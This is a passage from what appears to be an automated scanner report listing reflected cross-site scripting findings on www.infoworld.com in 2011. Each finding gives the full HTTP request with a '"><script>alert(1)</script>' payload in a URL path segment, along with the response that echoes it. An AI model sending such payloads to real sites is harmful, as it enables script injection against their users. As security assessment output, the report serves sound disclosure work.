<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP/contrib/views/css/views.css376e6"><script>alert(1)</script>9489cdc8335&Q">
...[SNIP]...

1.46. http://www.infoworld.com/modules/DCP/custom/demandbase/demandbase.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/custom/demandbase/demandbase.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b128"><script>alert(1)</script>c7f9dc1503f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules4b128"><script>alert(1)</script>c7f9dc1503f/DCP/custom/demandbase/demandbase.js?132 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:00 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460660-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51159

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules4b128"><script>alert(1)</script>c7f9dc1503f/DCP/custom/demandbase/demandbase.js&132">
...[SNIP]...

1.47. http://www.infoworld.com/modules/DCP/custom/demandbase/demandbase.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/custom/demandbase/demandbase.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba16d"><script>alert(1)</script>cfdd9489f78 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCPba16d"><script>alert(1)</script>cfdd9489f78/custom/demandbase/demandbase.js?132 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:03 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460663-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51159

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCPba16d"><script>alert(1)</script>cfdd9489f78/custom/demandbase/demandbase.js&132">
...[SNIP]...

1.48. http://www.infoworld.com/modules/DCP/custom/demandbase/demandbase.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/custom/demandbase/demandbase.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3c61"><script>alert(1)</script>a556d1d9c87 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP/customd3c61"><script>alert(1)</script>a556d1d9c87/demandbase/demandbase.js?132 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:05 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460665-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51159

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP/customd3c61"><script>alert(1)</script>a556d1d9c87/demandbase/demandbase.js&132">
...[SNIP]...

1.49. http://www.infoworld.com/modules/DCP/custom/demandbase/demandbase.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/custom/demandbase/demandbase.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a155"><script>alert(1)</script>eb65bbe82e5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP/custom/demandbase3a155"><script>alert(1)</script>eb65bbe82e5/demandbase.js?132 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:07 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460667-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51159

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP/custom/demandbase3a155"><script>alert(1)</script>eb65bbe82e5/demandbase.js&132">
...[SNIP]...

1.50. http://www.infoworld.com/modules/DCP/custom/demandbase/demandbase.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/custom/demandbase/demandbase.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 779d8"><script>alert(1)</script>3ad57dedbbc was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP/custom/demandbase/demandbase.js779d8"><script>alert(1)</script>3ad57dedbbc?132 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:09 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460669-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51159

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP/custom/demandbase/demandbase.js779d8"><script>alert(1)</script>3ad57dedbbc&132">
...[SNIP]...

1.51. http://www.infoworld.com/modules/DCP/custom/doubleclick_ads/doubleclick_ads.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/custom/doubleclick_ads/doubleclick_ads.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8b8f"><script>alert(1)</script>ec357874c66 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modulesd8b8f"><script>alert(1)</script>ec357874c66/DCP/custom/doubleclick_ads/doubleclick_ads.js?2531 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:00 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460660-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51170

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modulesd8b8f"><script>alert(1)</script>ec357874c66/DCP/custom/doubleclick_ads/doubleclick_ads.js&2531">
...[SNIP]...

1.52. http://www.infoworld.com/modules/DCP/custom/doubleclick_ads/doubleclick_ads.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/custom/doubleclick_ads/doubleclick_ads.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31fe2"><script>alert(1)</script>66a7ec37ca7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP31fe2"><script>alert(1)</script>66a7ec37ca7/custom/doubleclick_ads/doubleclick_ads.js?2531 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:03 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460663-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51170

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP31fe2"><script>alert(1)</script>66a7ec37ca7/custom/doubleclick_ads/doubleclick_ads.js&2531">
...[SNIP]...

1.53. http://www.infoworld.com/modules/DCP/custom/doubleclick_ads/doubleclick_ads.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/custom/doubleclick_ads/doubleclick_ads.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7aa2"><script>alert(1)</script>68e85f8ac10 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP/customf7aa2"><script>alert(1)</script>68e85f8ac10/doubleclick_ads/doubleclick_ads.js?2531 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:05 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460665-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51170

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP/customf7aa2"><script>alert(1)</script>68e85f8ac10/doubleclick_ads/doubleclick_ads.js&2531">
...[SNIP]...

1.54. http://www.infoworld.com/modules/DCP/custom/doubleclick_ads/doubleclick_ads.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/custom/doubleclick_ads/doubleclick_ads.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5363"><script>alert(1)</script>78fc02be0dd was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP/custom/doubleclick_adsc5363"><script>alert(1)</script>78fc02be0dd/doubleclick_ads.js?2531 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:07 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460667-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51170

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP/custom/doubleclick_adsc5363"><script>alert(1)</script>78fc02be0dd/doubleclick_ads.js&2531">
...[SNIP]...

1.55. http://www.infoworld.com/modules/DCP/custom/doubleclick_ads/doubleclick_ads.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/custom/doubleclick_ads/doubleclick_ads.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b282"><script>alert(1)</script>495af1f7758 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP/custom/doubleclick_ads/doubleclick_ads.js7b282"><script>alert(1)</script>495af1f7758?2531 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:09 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460669-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51170

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP/custom/doubleclick_ads/doubleclick_ads.js7b282"><script>alert(1)</script>495af1f7758&2531">
...[SNIP]...

1.56. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_header.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_header.jpg

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70789"><script>alert(1)</script>33a9335a895 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites70789"><script>alert(1)</script>33a9335a895/all/themes/ifw/images/bg_IW_header.jpg?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:34:16 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:34:16 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460856-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites70789"><script>alert(1)</script>33a9335a895/all/themes/ifw/images/bg_IW_header.jpg&123">
...[SNIP]...

1.57. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_header.jpg [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_header.jpg

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50ad2"><script>alert(1)</script>ddaaa5a3ff4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all50ad2"><script>alert(1)</script>ddaaa5a3ff4/themes/ifw/images/bg_IW_header.jpg?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:34:17 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:34:17 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460857-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all50ad2"><script>alert(1)</script>ddaaa5a3ff4/themes/ifw/images/bg_IW_header.jpg&123">
...[SNIP]...

1.58. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_header.jpg [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_header.jpg

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3939"><script>alert(1)</script>d7b6b5c04a4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themesc3939"><script>alert(1)</script>d7b6b5c04a4/ifw/images/bg_IW_header.jpg?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:34:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:34:19 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460859-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themesc3939"><script>alert(1)</script>d7b6b5c04a4/ifw/images/bg_IW_header.jpg&123">
...[SNIP]...

1.59. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_header.jpg [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_header.jpg

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4096e"><script>alert(1)</script>92295aff was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw4096e"><script>alert(1)</script>92295aff/images/bg_IW_header.jpg?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:34:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:34:21 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460861-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51157

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw4096e"><script>alert(1)</script>92295aff/images/bg_IW_header.jpg&123">
...[SNIP]...

1.60. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_header.jpg [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_header.jpg

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfd00"><script>alert(1)</script>683ffd3a4e0 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/imagesdfd00"><script>alert(1)</script>683ffd3a4e0/bg_IW_header.jpg?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
